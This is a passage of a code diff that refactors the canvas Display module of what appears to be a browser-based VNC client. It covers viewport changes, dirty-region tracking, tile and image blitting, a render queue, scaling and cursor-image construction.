+ var vp = this._viewportLoc;
+ var cr = this._cleanRect;
+ var canvas = this._target;
+
+ if (!this._viewport) {
+ Util.Debug("Setting viewport to full display region");
+ deltaX = -vp.w; // clamped later of out of bounds
+ deltaY = -vp.h;
+ width = this._fb_width;
+ height = this._fb_height;
+ }
+
+ if (typeof(deltaX) === "undefined") { deltaX = 0; }
+ if (typeof(deltaY) === "undefined") { deltaY = 0; }
+ if (typeof(width) === "undefined") { width = vp.w; }
+ if (typeof(height) === "undefined") { height = vp.h; }
+
+ // Size change
+ if (width > this._fb_width) { width = this._fb_width; }
+ if (height > this._fb_height) { height = this._fb_height; }
+
+ if (vp.w !== width || vp.h !== height) {
+ // Change width
+ if (width < vp.w && cr.x2 > vp.x + width - 1) {
+ cr.x2 = vp.x + width - 1;
+ }
+ vp.w = width;
+
+ // Change height
+ if (height < vp.h && cr.y2 > vp.y + height - 1) {
+ cr.y2 = vp.y + height - 1;
+ }
+ vp.h = height;
+
+ var saveImg = null;
+ if (vp.w > 0 && vp.h > 0 && canvas.width > 0 && canvas.height > 0) {
+ var img_width = canvas.width < vp.w ? canvas.width : vp.w;
+ var img_height = canvas.height < vp.h ? canvas.height : vp.h;
+ saveImg = this._drawCtx.getImageData(0, 0, img_width, img_height);
+ }
+
+ canvas.width = vp.w;
+ canvas.height = vp.h;
+
+ if (saveImg) {
+ this._drawCtx.putImageData(saveImg, 0, 0);
+ }
+ }
+
+ var vx2 = vp.x + vp.w - 1;
+ var vy2 = vp.y + vp.h - 1;
+
+ // Position change
+
+ if (deltaX < 0 && vp.x + deltaX < 0) {
+ deltaX = -vp.x;
+ }
+ if (vx2 + deltaX >= this._fb_width) {
+ deltaX -= vx2 + deltaX - this._fb_width + 1;
+ }
+
+ if (vp.y + deltaY < 0) {
+ deltaY = -vp.y;
+ }
+ if (vy2 + deltaY >= this._fb_height) {
+ deltaY -= (vy2 + deltaY - this._fb_height + 1);
+ }
+
+ if (deltaX === 0 && deltaY === 0) {
+ return;
+ }
+ Util.Debug("viewportChange deltaX: " + deltaX + ", deltaY: " + deltaY);
+
+ vp.x += deltaX;
+ vx2 += deltaX;
+ vp.y += deltaY;
+ vy2 += deltaY;
+
+ // Update the clean rectangle
+ if (vp.x > cr.x1) {
+ cr.x1 = vp.x;
+ }
+ if (vx2 < cr.x2) {
+ cr.x2 = vx2;
+ }
+ if (vp.y > cr.y1) {
+ cr.y1 = vp.y;
+ }
+ if (vy2 < cr.y2) {
+ cr.y2 = vy2;
+ }
+
+ var x1, w;
+ if (deltaX < 0) {
+ // Shift viewport left, redraw left section
+ x1 = 0;
+ w = -deltaX;
+ } else {
+ // Shift viewport right, redraw right section
+ x1 = vp.w - deltaX;
+ w = deltaX;
+ }
+
+ var y1, h;
+ if (deltaY < 0) {
+ // Shift viewport up, redraw top section
+ y1 = 0;
+ h = -deltaY;
+ } else {
+ // Shift viewport down, redraw bottom section
+ y1 = vp.h - deltaY;
+ h = deltaY;
+ }
+
+ // Copy the valid part of the viewport to the shifted location
+ var saveStyle = this._drawCtx.fillStyle;
+ this._drawCtx.fillStyle = "rgb(255,255,255)";
+ if (deltaX !== 0) {
+ this._drawCtx.drawImage(canvas, 0, 0, vp.w, vp.h, -deltaX, 0, vp.w, vp.h);
+ this._drawCtx.fillRect(x1, 0, w, vp.h);
+ }
+ if (deltaY !== 0) {
+ this._drawCtx.drawImage(canvas, 0, 0, vp.w, vp.h, 0, -deltaY, vp.w, vp.h);
+ this._drawCtx.fillRect(0, y1, vp.w, h);
+ }
+ this._drawCtx.fillStyle = saveStyle;
+ },
+
+ // Return a map of clean and dirty areas of the viewport and reset the
+ // tracking of clean and dirty areas
+ //
+ // Returns: { 'cleanBox': { 'x': x, 'y': y, 'w': w, 'h': h},
+ // 'dirtyBoxes': [{ 'x': x, 'y': y, 'w': w, 'h': h }, ...] }
+ getCleanDirtyReset: function () {
+ var vp = this._viewportLoc;
+ var cr = this._cleanRect;
+
+ var cleanBox = { 'x': cr.x1, 'y': cr.y1,
+ 'w': cr.x2 - cr.x1 + 1, 'h': cr.y2 - cr.y1 + 1 };
+
+ var dirtyBoxes = [];
+ if (cr.x1 >= cr.x2 || cr.y1 >= cr.y2) {
+ // Whole viewport is dirty
+ dirtyBoxes.push({ 'x': vp.x, 'y': vp.y, 'w': vp.w, 'h': vp.h });
+ } else {
+ // Redraw dirty regions
+ var vx2 = vp.x + vp.w - 1;
+ var vy2 = vp.y + vp.h - 1;
+
+ if (vp.x < cr.x1) {
+ // left side dirty region
+ dirtyBoxes.push({'x': vp.x, 'y': vp.y,
+ 'w': cr.x1 - vp.x + 1, 'h': vp.h});
+ }
+ if (vx2 > cr.x2) {
+ // right side dirty region
+ dirtyBoxes.push({'x': cr.x2 + 1, 'y': vp.y,
+ 'w': vx2 - cr.x2, 'h': vp.h});
+ }
+ if(vp.y < cr.y1) {
+ // top/middle dirty region
+ dirtyBoxes.push({'x': cr.x1, 'y': vp.y,
+ 'w': cr.x2 - cr.x1 + 1, 'h': cr.y1 - vp.y});
+ }
+ if (vy2 > cr.y2) {
+ // bottom/middle dirty region
+ dirtyBoxes.push({'x': cr.x1, 'y': cr.y2 + 1,
+ 'w': cr.x2 - cr.x1 + 1, 'h': vy2 - cr.y2});
+ }
+ }
+
+ this._cleanRect = {'x1': vp.x, 'y1': vp.y,
+ 'x2': vp.x + vp.w - 1, 'y2': vp.y + vp.h - 1};
+
+ return {'cleanBox': cleanBox, 'dirtyBoxes': dirtyBoxes};
+ },
+
+ absX: function (x) {
+ return x + this._viewportLoc.x;
+ },
+
+ absY: function (y) {
+ return y + this._viewportLoc.y;
+ },
+
+ resize: function (width, height) {
+ this._prevDrawStyle = "";
+
+ this._fb_width = width;
+ this._fb_height = height;
+
+ this._rescale(this._scale);
+
+ this.viewportChange();
+ },
+
+ clear: function () {
+ if (this._logo) {
+ this.resize(this._logo.width, this._logo.height);
+ this.blitStringImage(this._logo.data, 0, 0);
+ } else {
+ if (Util.Engine.trident === 6) {
+ // NB(directxman12): there's a bug in IE10 where we can fail to actually
+ // clear the canvas here because of the resize.
+ // Clearing the current viewport first fixes the issue
+ this._drawCtx.clearRect(0, 0, this._viewportLoc.w, this._viewportLoc.h);
+ }
+ this.resize(640, 20);
+ this._drawCtx.clearRect(0, 0, this._viewportLoc.w, this._viewportLoc.h);
+ }
+
+ this._renderQ = [];
+ },
+
+ fillRect: function (x, y, width, height, color) {
+ this._setFillColor(color);
+ this._drawCtx.fillRect(x - this._viewportLoc.x, y - this._viewportLoc.y, width, height);
+ },
+
+ copyImage: function (old_x, old_y, new_x, new_y, w, h) {
+ var x1 = old_x - this._viewportLoc.x;
+ var y1 = old_y - this._viewportLoc.y;
+ var x2 = new_x - this._viewportLoc.x;
+ var y2 = new_y - this._viewportLoc.y;
+
+ this._drawCtx.drawImage(this._target, x1, y1, w, h, x2, y2, w, h);
+ },
+
+ // start updating a tile
+ startTile: function (x, y, width, height, color) {
+ this._tile_x = x;
+ this._tile_y = y;
+ if (width === 16 && height === 16) {
+ this._tile = this._tile16x16;
+ } else {
+ this._tile = this._drawCtx.createImageData(width, height);
+ }
+
+ if (this._prefer_js) {
+ var bgr;
+ if (this._true_color) {
+ bgr = color;
+ } else {
+ bgr = this._colourMap[color[0]];
+ }
+ var red = bgr[2];
+ var green = bgr[1];
+ var blue = bgr[0];
+
+ var data = this._tile.data;
+ for (var i = 0; i < width * height * 4; i += 4) {
+ data[i] = red;
+ data[i + 1] = green;
+ data[i + 2] = blue;
+ data[i + 3] = 255;
+ }
+ } else {
+ this.fillRect(x, y, width, height, color);
+ }
+ },
+
+ // update sub-rectangle of the current tile
+ subTile: function (x, y, w, h, color) {
+ if (this._prefer_js) {
+ var bgr;
+ if (this._true_color) {
+ bgr = color;
+ } else {
+ bgr = this._colourMap[color[0]];
+ }
+ var red = bgr[2];
+ var green = bgr[1];
+ var blue = bgr[0];
+ var xend = x + w;
+ var yend = y + h;
+
+ var data = this._tile.data;
+ var width = this._tile.width;
+ for (var j = y; j < yend; j++) {
+ for (var i = x; i < xend; i++) {
+ var p = (i + (j * width)) * 4;
+ data[p] = red;
+ data[p + 1] = green;
+ data[p + 2] = blue;
+ data[p + 3] = 255;
+ }
+ }
+ } else {
+ this.fillRect(this._tile_x + x, this._tile_y + y, w, h, color);
+ }
+ },
+
+ // draw the current tile to the screen
+ finishTile: function () {
+ if (this._prefer_js) {
+ this._drawCtx.putImageData(this._tile, this._tile_x - this._viewportLoc.x,
+ this._tile_y - this._viewportLoc.y);
+ }
+ // else: No-op -- already done by setSubTile
+ },
+
+ blitImage: function (x, y, width, height, arr, offset) {
+ if (this._true_color) {
+ this._bgrxImageData(x, y, this._viewportLoc.x, this._viewportLoc.y, width, height, arr, offset);
+ } else {
+ this._cmapImageData(x, y, this._viewportLoc.x, this._viewportLoc.y, width, height, arr, offset);
+ }
+ },
+
+ blitRgbImage: function (x, y , width, height, arr, offset) {
+ if (this._true_color) {
+ this._rgbImageData(x, y, this._viewportLoc.x, this._viewportLoc.y, width, height, arr, offset);
+ } else {
+ // probably wrong?
+ this._cmapImageData(x, y, this._viewportLoc.x, this._viewportLoc.y, width, height, arr, offset);
+ }
+ },
+
+ blitStringImage: function (str, x, y) {
+ var img = new Image();
+ img.onload = function () {
+ this._drawCtx.drawImage(img, x - this._viewportLoc.x, y - this._viewportLoc.y);
+ }.bind(this);
+ img.src = str;
+ return img; // for debugging purposes
+ },
+
+ // wrap ctx.drawImage but relative to viewport
+ drawImage: function (img, x, y) {
+ this._drawCtx.drawImage(img, x - this._viewportLoc.x, y - this._viewportLoc.y);
+ },
+
+ renderQ_push: function (action) {
+ this._renderQ.push(action);
+ if (this._renderQ.length === 1) {
+ // If this can be rendered immediately it will be, otherwise
+ // the scanner will start polling the queue (every
+ // requestAnimationFrame interval)
+ this._scan_renderQ();
+ }
+ },
+
+ changeCursor: function (pixels, mask, hotx, hoty, w, h) {
+ if (this._cursor_uri === false) {
+ Util.Warn("changeCursor called but no cursor data URI support");
+ return;
+ }
+
+ if (this._true_color) {
+ Display.changeCursor(this._target, pixels, mask, hotx, hoty, w, h);
+ } else {
+ Display.changeCursor(this._target, pixels, mask, hotx, hoty, w, h, this._colourMap);
+ }
+ },
+
+ defaultCursor: function () {
+ this._target.style.cursor = "default";
+ },
+
+ // Overridden getters/setters
+ get_context: function () {
+ return this._drawCtx;
+ },
+
+ set_scale: function (scale) {
+ this._rescale(scale);
+ },
+
+ set_width: function (w) {
+ this.resize(w, this._fb_height);
+ },
+ get_width: function () {
+ return this._fb_width;
+ },
+
+ set_height: function (h) {
+ this.resize(this._fb_width, h);
+ },
+ get_height: function () {
+ return this._fb_height;
+ },
+
+ // Private Methods
+ _rescale: function (factor) {
+ var canvas = this._target;
+ var properties = ['transform', 'WebkitTransform', 'MozTransform'];
+ var transform_prop;
+ while ((transform_prop = properties.shift())) {
+ if (typeof canvas.style[transform_prop] !== 'undefined') {
+ break;
+ }
+ }
+
+ if (transform_prop === null) {
+ Util.Debug("No scaling support");
+ return;
+ }
+
+ if (typeof(factor) === "undefined") {
+ factor = this._scale;
+ } else if (factor > 1.0) {
+ factor = 1.0;
+ } else if (factor < 0.1) {
+ factor = 0.1;
+ }
+
+ if (this._scale === factor) {
+ return;
+ }
+
+ this._scale = factor;
+ var x = canvas.width - (canvas.width * factor);
+ var y = canvas.height - (canvas.height * factor);
+ canvas.style[transform_prop] = 'scale(' + this._scale + ') translate(-' + x + 'px, -' + y + 'px)';
+ },
+
+ _setFillColor: function (color) {
+ var bgr;
+ if (this._true_color) {
+ bgr = color;
+ } else {
+ bgr = this._colourMap[color[0]];
+ }
+
+ var newStyle = 'rgb(' + bgr[2] + ',' + bgr[1] + ',' + bgr[0] + ')';
+ if (newStyle !== this._prevDrawStyle) {
+ this._drawCtx.fillStyle = newStyle;
+ this._prevDrawStyle = newStyle;
+ }
+ },
+
+ _rgbImageData: function (x, y, vx, vy, width, height, arr, offset) {
+ var img = this._drawCtx.createImageData(width, height);
+ var data = img.data;
+ for (var i = 0, j = offset; i < width * height * 4; i += 4, j += 3) {
+ data[i] = arr[j];
+ data[i + 1] = arr[j + 1];
+ data[i + 2] = arr[j + 2];
+ data[i + 3] = 255; // Alpha
+ }
+ this._drawCtx.putImageData(img, x - vx, y - vy);
+ },
+
+ _bgrxImageData: function (x, y, vx, vy, width, height, arr, offset) {
+ var img = this._drawCtx.createImageData(width, height);
+ var data = img.data;
+ for (var i = 0, j = offset; i < width * height * 4; i += 4, j += 4) {
+ data[i] = arr[j + 2];
+ data[i + 1] = arr[j + 1];
+ data[i + 2] = arr[j];
+ data[i + 3] = 255; // Alpha
+ }
+ this._drawCtx.putImageData(img, x - vx, y - vy);
+ },
+
+ _cmapImageData: function (x, y, vx, vy, width, height, arr, offset) {
+ var img = this._drawCtx.createImageData(width, height);
+ var data = img.data;
+ var cmap = this._colourMap;
+ for (var i = 0, j = offset; i < width * height * 4; i += 4, j++) {
+ var bgr = cmap[arr[j]];
+ data[i] = bgr[2];
+ data[i + 1] = bgr[1];
+ data[i + 2] = bgr[0];
+ data[i + 3] = 255; // Alpha
+ }
+ this._drawCtx.putImageData(img, x - vx, y - vy);
+ },
+
+ _scan_renderQ: function () {
+ var ready = true;
+ while (ready && this._renderQ.length > 0) {
+ var a = this._renderQ[0];
+ switch (a.type) {
+ case 'copy':
+ this.copyImage(a.old_x, a.old_y, a.x, a.y, a.width, a.height);
+ break;
+ case 'fill':
+ this.fillRect(a.x, a.y, a.width, a.height, a.color);
+ break;
+ case 'blit':
+ this.blitImage(a.x, a.y, a.width, a.height, a.data, 0);
+ break;
+ case 'blitRgb':
+ this.blitRgbImage(a.x, a.y, a.width, a.height, a.data, 0);
+ break;
+ case 'img':
+ if (a.img.complete) {
+ this.drawImage(a.img, a.x, a.y);
+ } else {
+ // We need to wait for this image to 'load'
+ // to keep things in-order
+ ready = false;
+ }
+ break;
+ }
+
+ if (ready) {
+ this._renderQ.shift();
+ }
+ }
+
+ if (this._renderQ.length > 0) {
+ requestAnimFrame(this._scan_renderQ.bind(this));
+ }
+ },
+ };
+
+ Util.make_properties(Display, [
+ ['target', 'wo', 'dom'], // Canvas element for rendering
+ ['context', 'ro', 'raw'], // Canvas 2D context for rendering (read-only)
+ ['logo', 'rw', 'raw'], // Logo to display when cleared: {"width": w, "height": h, "data": data}
+ ['true_color', 'rw', 'bool'], // Use true-color pixel data
+ ['colourMap', 'rw', 'arr'], // Colour map array (when not true-color)
+ ['scale', 'rw', 'float'], // Display area scale factor 0.0 - 1.0
+ ['viewport', 'rw', 'bool'], // Use a viewport set with viewportChange()
+ ['width', 'rw', 'int'], // Display area width
+ ['height', 'rw', 'int'], // Display area height
+
+ ['render_mode', 'ro', 'str'], // Canvas rendering mode (read-only)
+
+ ['prefer_js', 'rw', 'str'], // Prefer Javascript over canvas methods
+ ['cursor_uri', 'rw', 'raw'] // Can we render cursor using data URI
]);
-// Override some specific getters/setters
-that.get_context = function () { return c_ctx; };
-
-that.set_scale = function(scale) { rescale(scale); };
-
-that.set_width = function (val) { that.resize(val, fb_height); };
-that.get_width = function() { return fb_width; };
-
-that.set_height = function (val) { that.resize(fb_width, val); };
-that.get_height = function() { return fb_height; };
-
-
-
-//
-// Private functions
-//
-
-// Create the public API interface
-function constructor() {
- Util.Debug(">> Display.constructor");
-
- var c, func, i, curDat, curSave,
- has_imageData = false, UE = Util.Engine;
-
- if (! conf.target) { throw("target must be set"); }
-
- if (typeof conf.target === 'string') {
- throw("target must be a DOM element");
- }
-
- c = conf.target;
-
- if (! c.getContext) { throw("no getContext method"); }
-
- if (! c_ctx) { c_ctx = c.getContext('2d'); }
-
- Util.Debug("User Agent: " + navigator.userAgent);
- if (UE.gecko) { Util.Debug("Browser: gecko " + UE.gecko); }
- if (UE.webkit) { Util.Debug("Browser: webkit " + UE.webkit); }
- if (UE.trident) { Util.Debug("Browser: trident " + UE.trident); }
- if (UE.presto) { Util.Debug("Browser: presto " + UE.presto); }
-
- that.clear();
-
- // Check canvas features
- if ('createImageData' in c_ctx) {
- conf.render_mode = "canvas rendering";
- } else {
- throw("Canvas does not support createImageData");
- }
- if (conf.prefer_js === null) {
- Util.Info("Prefering javascript operations");
- conf.prefer_js = true;
- }
-
- // Initialize cached tile imageData
- tile16x16 = c_ctx.createImageData(16, 16);
-
- /*
- * Determine browser support for setting the cursor via data URI
- * scheme
- */
- curDat = [];
- for (i=0; i < 8 * 8 * 4; i += 1) {
- curDat.push(255);
- }
- try {
- curSave = c.style.cursor;
- changeCursor(conf.target, curDat, curDat, 2, 2, 8, 8);
- if (c.style.cursor) {
- if (conf.cursor_uri === null) {
- conf.cursor_uri = true;
- }
- Util.Info("Data URI scheme cursor supported");
+ // Class Methods
+ Display.changeCursor = function (target, pixels, mask, hotx, hoty, w0, h0, cmap) {
+ var w = w0;
+ var h = h0;
+ if (h < w) {
+ h = w; // increase h to make it square
} else {
- if (conf.cursor_uri === null) {
- conf.cursor_uri = false;
- }
- Util.Warn("Data URI scheme cursor not supported");
- }
- c.style.cursor = curSave;
- } catch (exc2) {
- Util.Error("Data URI scheme cursor test exception: " + exc2);
- conf.cursor_uri = false;
- }
-
- Util.Debug("<< Display.constructor");
- return that ;
-}
-
-rescale = function(factor) {
- var c, tp, x, y,
- properties = ['transform', 'WebkitTransform', 'MozTransform', null];
- c = conf.target;
- tp = properties.shift();
- while (tp) {
- if (typeof c.style[tp] !== 'undefined') {
- break;
- }
- tp = properties.shift();
- }
-
- if (tp === null) {
- Util.Debug("No scaling support");
- return;
- }
-
-
- if (typeof(factor) === "undefined") {
- factor = conf.scale;
- } else if (factor > 1.0) {
- factor = 1.0;
- } else if (factor < 0.1) {
- factor = 0.1;
- }
-
- if (conf.scale === factor) {
- //Util.Debug("Display already scaled to '" + factor + "'");
- return;
- }
-
- conf.scale = factor;
- x = c.width - c.width * factor;
- y = c.height - c.height * factor;
- c.style[tp] = "scale(" + conf.scale + ") translate(-" + x + "px, -" + y + "px)";
-};
-
-setFillColor = function(color) {
- var bgr, newStyle;
- if (conf.true_color) {
- bgr = color;
- } else {
- bgr = conf.colourMap[color[0]];
- }
- newStyle = "rgb(" + bgr[2] + "," + bgr[1] + "," + bgr[0] + ")";
- if (newStyle !== c_prevStyle) {
- c_ctx.fillStyle = newStyle;
- c_prevStyle = newStyle;
- }
-};
-
-
-//
-// Public API interface functions
-//
-
-// Shift and/or resize the visible viewport
-that.viewportChange = function(deltaX, deltaY, width, height) {
- var c = conf.target, v = viewport, cr = cleanRect,
- saveImg = null, saveStyle, x1, y1, vx2, vy2, w, h;
-
- if (!conf.viewport) {
- Util.Debug("Setting viewport to full display region");
- deltaX = -v.w; // Clamped later if out of bounds
- deltaY = -v.h; // Clamped later if out of bounds
- width = fb_width;
- height = fb_height;
- }
-
- if (typeof(deltaX) === "undefined") { deltaX = 0; }
- if (typeof(deltaY) === "undefined") { deltaY = 0; }
- if (typeof(width) === "undefined") { width = v.w; }
- if (typeof(height) === "undefined") { height = v.h; }
-
- // Size change
-
- if (width > fb_width) { width = fb_width; }
- if (height > fb_height) { height = fb_height; }
-
- if ((v.w !== width) || (v.h !== height)) {
- // Change width
- if ((width < v.w) && (cr.x2 > v.x + width -1)) {
- cr.x2 = v.x + width - 1;
- }
- v.w = width;
-
- // Change height
- if ((height < v.h) && (cr.y2 > v.y + height -1)) {
- cr.y2 = v.y + height - 1;
- }
- v.h = height;
-
-
- if (v.w > 0 && v.h > 0 && c.width > 0 && c.height > 0) {
- saveImg = c_ctx.getImageData(0, 0,
- (c.width < v.w) ? c.width : v.w,
- (c.height < v.h) ? c.height : v.h);
+ w = h; // increase w to make it square
}
- c.width = v.w;
- c.height = v.h;
+ var cur = [];
- if (saveImg) {
- c_ctx.putImageData(saveImg, 0, 0);
- }
- }
+ // Push multi-byte little-endian values
+ cur.push16le = function (num) {
+ this.push(num & 0xFF, (num >> 8) & 0xFF);
+ };
+ cur.push32le = function (num) {
+ this.push(num & 0xFF,
+ (num >> 8) & 0xFF,
+ (num >> 16) & 0xFF,
+ (num >> 24) & 0xFF);
+ };
- vx2 = v.x + v.w - 1;
- vy2 = v.y + v.h - 1;
+ var IHDRsz = 40;
+ var RGBsz = w * h * 4;
+ var XORsz = Math.ceil((w * h) / 8.0);
+ var ANDsz = Math.ceil((w * h) / 8.0);
+ cur.push16le(0); // 0: Reserved
+ cur.push16le(2); // 2: .CUR type
+ cur.push16le(1); // 4: Number of images, 1 for non-animated ico
- // Position change
+ // Cursor #1 header (ICONDIRENTRY)
+ cur.push(w); // 6: width
+ cur.push(h); // 7: height
+ cur.push(0); // 8: colors, 0 -> true-color
+ cur.push(0); // 9: reserved
+ cur.push16le(hotx); // 10: hotspot x coordinate
+ cur.push16le(hoty); // 12: hotspot y coordinate
+ cur.push32le(IHDRsz + RGBsz + XORsz + ANDsz);
+ // 14: cursor data byte size
+ cur.push32le(22); // 18: offset of cursor data in the file
- if ((deltaX < 0) && ((v.x + deltaX) < 0)) {
- deltaX = - v.x;
- }
- if ((vx2 + deltaX) >= fb_width) {
- deltaX -= ((vx2 + deltaX) - fb_width + 1);
- }
+ // Cursor #1 InfoHeader (ICONIMAGE/BITMAPINFO)
+ cur.push32le(IHDRsz); // 22: InfoHeader size
+ cur.push32le(w); // 26: Cursor width
+ cur.push32le(h * 2); // 30: XOR+AND height
+ cur.push16le(1); // 34: number of planes
+ cur.push16le(32); // 36: bits per pixel
+ cur.push32le(0); // 38: Type of compression
- if ((v.y + deltaY) < 0) {
- deltaY = - v.y;
- }
- if ((vy2 + deltaY) >= fb_height) {
- deltaY -= ((vy2 + deltaY) - fb_height + 1);
- }
+ cur.push32le(XORsz + ANDsz);
+ // 42: Size of Image
+ cur.push32le(0); // 46: reserved
+ cur.push32le(0); // 50: reserved
+ cur.push32le(0); // 54: reserved
+ cur.push32le(0); // 58: reserved
- if ((deltaX === 0) && (deltaY === 0)) {
- //Util.Debug("skipping viewport change");
- return;
- }
- Util.Debug("viewportChange deltaX: " + deltaX + ", deltaY: " + deltaY);
-
- v.x += deltaX;
- vx2 += deltaX;
- v.y += deltaY;
- vy2 += deltaY;
-
- // Update the clean rectangle
- if (v.x > cr.x1) {
- cr.x1 = v.x;
- }
- if (vx2 < cr.x2) {
- cr.x2 = vx2;
- }
- if (v.y > cr.y1) {
- cr.y1 = v.y;
- }
- if (vy2 < cr.y2) {
- cr.y2 = vy2;
- }
-
- if (deltaX < 0) {
- // Shift viewport left, redraw left section
- x1 = 0;
- w = - deltaX;
- } else {
- // Shift viewport right, redraw right section
- x1 = v.w - deltaX;
- w = deltaX;
- }
- if (deltaY < 0) {
- // Shift viewport up, redraw top section
- y1 = 0;
- h = - deltaY;
- } else {
- // Shift viewport down, redraw bottom section
- y1 = v.h - deltaY;
- h = deltaY;
- }
-
- // Copy the valid part of the viewport to the shifted location
- saveStyle = c_ctx.fillStyle;
- c_ctx.fillStyle = "rgb(255,255,255)";
- if (deltaX !== 0) {
- //that.copyImage(0, 0, -deltaX, 0, v.w, v.h);
- //that.fillRect(x1, 0, w, v.h, [255,255,255]);
- c_ctx.drawImage(c, 0, 0, v.w, v.h, -deltaX, 0, v.w, v.h);
- c_ctx.fillRect(x1, 0, w, v.h);
- }
- if (deltaY !== 0) {
- //that.copyImage(0, 0, 0, -deltaY, v.w, v.h);
- //that.fillRect(0, y1, v.w, h, [255,255,255]);
- c_ctx.drawImage(c, 0, 0, v.w, v.h, 0, -deltaY, v.w, v.h);
- c_ctx.fillRect(0, y1, v.w, h);
- }
- c_ctx.fillStyle = saveStyle;
-};
-
-
-// Return a map of clean and dirty areas of the viewport and reset the
-// tracking of clean and dirty areas.
-//
-// Returns: {'cleanBox': {'x': x, 'y': y, 'w': w, 'h': h},
-// 'dirtyBoxes': [{'x': x, 'y': y, 'w': w, 'h': h}, ...]}
-that.getCleanDirtyReset = function() {
- var v = viewport, c = cleanRect, cleanBox, dirtyBoxes = [],
- vx2 = v.x + v.w - 1, vy2 = v.y + v.h - 1;
-
-
- // Copy the cleanRect
- cleanBox = {'x': c.x1, 'y': c.y1,
- 'w': c.x2 - c.x1 + 1, 'h': c.y2 - c.y1 + 1};
-
- if ((c.x1 >= c.x2) || (c.y1 >= c.y2)) {
- // Whole viewport is dirty
- dirtyBoxes.push({'x': v.x, 'y': v.y, 'w': v.w, 'h': v.h});
- } else {
- // Redraw dirty regions
- if (v.x < c.x1) {
- // left side dirty region
- dirtyBoxes.push({'x': v.x, 'y': v.y,
- 'w': c.x1 - v.x + 1, 'h': v.h});
- }
- if (vx2 > c.x2) {
- // right side dirty region
- dirtyBoxes.push({'x': c.x2 + 1, 'y': v.y,
- 'w': vx2 - c.x2, 'h': v.h});
- }
- if (v.y < c.y1) {
- // top/middle dirty region
- dirtyBoxes.push({'x': c.x1, 'y': v.y,
- 'w': c.x2 - c.x1 + 1, 'h': c.y1 - v.y});
- }
- if (vy2 > c.y2) {
- // bottom/middle dirty region
- dirtyBoxes.push({'x': c.x1, 'y': c.y2 + 1,
- 'w': c.x2 - c.x1 + 1, 'h': vy2 - c.y2});
- }
- }
-
- // Reset the cleanRect to the whole viewport
- cleanRect = {'x1': v.x, 'y1': v.y,
- 'x2': v.x + v.w - 1, 'y2': v.y + v.h - 1};
-
- return {'cleanBox': cleanBox, 'dirtyBoxes': dirtyBoxes};
-};
-
-// Translate viewport coordinates to absolute coordinates
-that.absX = function(x) {
- return x + viewport.x;
-};
-that.absY = function(y) {
- return y + viewport.y;
-};
-
-
-that.resize = function(width, height) {
- c_prevStyle = "";
-
- fb_width = width;
- fb_height = height;
-
- rescale(conf.scale);
- that.viewportChange();
-};
-
-that.clear = function() {
-
- if (conf.logo) {
- that.resize(conf.logo.width, conf.logo.height);
- that.blitStringImage(conf.logo.data, 0, 0);
- } else {
- that.resize(640, 20);
- c_ctx.clearRect(0, 0, viewport.w, viewport.h);
- }
-
- // No benefit over default ("source-over") in Chrome and firefox
- //c_ctx.globalCompositeOperation = "copy";
-};
-
-that.fillRect = function(x, y, width, height, color) {
- setFillColor(color);
- c_ctx.fillRect(x - viewport.x, y - viewport.y, width, height);
-};
-
-that.copyImage = function(old_x, old_y, new_x, new_y, w, h) {
- var x1 = old_x - viewport.x, y1 = old_y - viewport.y,
- x2 = new_x - viewport.x, y2 = new_y - viewport.y;
- c_ctx.drawImage(conf.target, x1, y1, w, h, x2, y2, w, h);
-};
-
-
-// Start updating a tile
-that.startTile = function(x, y, width, height, color) {
- var data, bgr, red, green, blue, i;
- tile_x = x;
- tile_y = y;
- if ((width === 16) && (height === 16)) {
- tile = tile16x16;
- } else {
- tile = c_ctx.createImageData(width, height);
- }
- data = tile.data;
- if (conf.prefer_js) {
- if (conf.true_color) {
- bgr = color;
- } else {
- bgr = conf.colourMap[color[0]];
- }
- red = bgr[2];
- green = bgr[1];
- blue = bgr[0];
- for (i = 0; i < (width * height * 4); i+=4) {
- data[i ] = red;
- data[i + 1] = green;
- data[i + 2] = blue;
- data[i + 3] = 255;
- }
- } else {
- that.fillRect(x, y, width, height, color);
- }
-};
-
-// Update sub-rectangle of the current tile
-that.subTile = function(x, y, w, h, color) {
- var data, p, bgr, red, green, blue, width, j, i, xend, yend;
- if (conf.prefer_js) {
- data = tile.data;
- width = tile.width;
- if (conf.true_color) {
- bgr = color;
- } else {
- bgr = conf.colourMap[color[0]];
- }
- red = bgr[2];
- green = bgr[1];
- blue = bgr[0];
- xend = x + w;
- yend = y + h;
- for (j = y; j < yend; j += 1) {
- for (i = x; i < xend; i += 1) {
- p = (i + (j * width) ) * 4;
- data[p ] = red;
- data[p + 1] = green;
- data[p + 2] = blue;
- data[p + 3] = 255;
- }
- }
- } else {
- that.fillRect(tile_x + x, tile_y + y, w, h, color);
- }
-};
-
-// Draw the current tile to the screen
-that.finishTile = function() {
- if (conf.prefer_js) {
- c_ctx.putImageData(tile, tile_x - viewport.x, tile_y - viewport.y);
- }
- // else: No-op, if not prefer_js then already done by setSubTile
-};
-
-rgbImageData = function(x, y, width, height, arr, offset) {
- var img, i, j, data, v = viewport;
- /*
- if ((x - v.x >= v.w) || (y - v.y >= v.h) ||
- (x - v.x + width < 0) || (y - v.y + height < 0)) {
- // Skipping because outside of viewport
- return;
- }
- */
- img = c_ctx.createImageData(width, height);
- data = img.data;
- for (i=0, j=offset; i < (width * height * 4); i=i+4, j=j+3) {
- data[i ] = arr[j ];
- data[i + 1] = arr[j + 1];
- data[i + 2] = arr[j + 2];
- data[i + 3] = 255; // Set Alpha
- }
- c_ctx.putImageData(img, x - v.x, y - v.y);
-};
-
-bgrxImageData = function(x, y, width, height, arr, offset) {
- var img, i, j, data, v = viewport;
- /*
- if ((x - v.x >= v.w) || (y - v.y >= v.h) ||
- (x - v.x + width < 0) || (y - v.y + height < 0)) {
- // Skipping because outside of viewport
- return;
- }
- */
- img = c_ctx.createImageData(width, height);
- data = img.data;
- for (i=0, j=offset; i < (width * height * 4); i=i+4, j=j+4) {
- data[i ] = arr[j + 2];
- data[i + 1] = arr[j + 1];
- data[i + 2] = arr[j ];
- data[i + 3] = 255; // Set Alpha
- }
- c_ctx.putImageData(img, x - v.x, y - v.y);
-};
-
-cmapImageData = function(x, y, width, height, arr, offset) {
- var img, i, j, data, bgr, cmap;
- img = c_ctx.createImageData(width, height);
- data = img.data;
- cmap = conf.colourMap;
- for (i=0, j=offset; i < (width * height * 4); i+=4, j+=1) {
- bgr = cmap[arr[j]];
- data[i ] = bgr[2];
- data[i + 1] = bgr[1];
- data[i + 2] = bgr[0];
- data[i + 3] = 255; // Set Alpha
- }
- c_ctx.putImageData(img, x - viewport.x, y - viewport.y);
-};
-
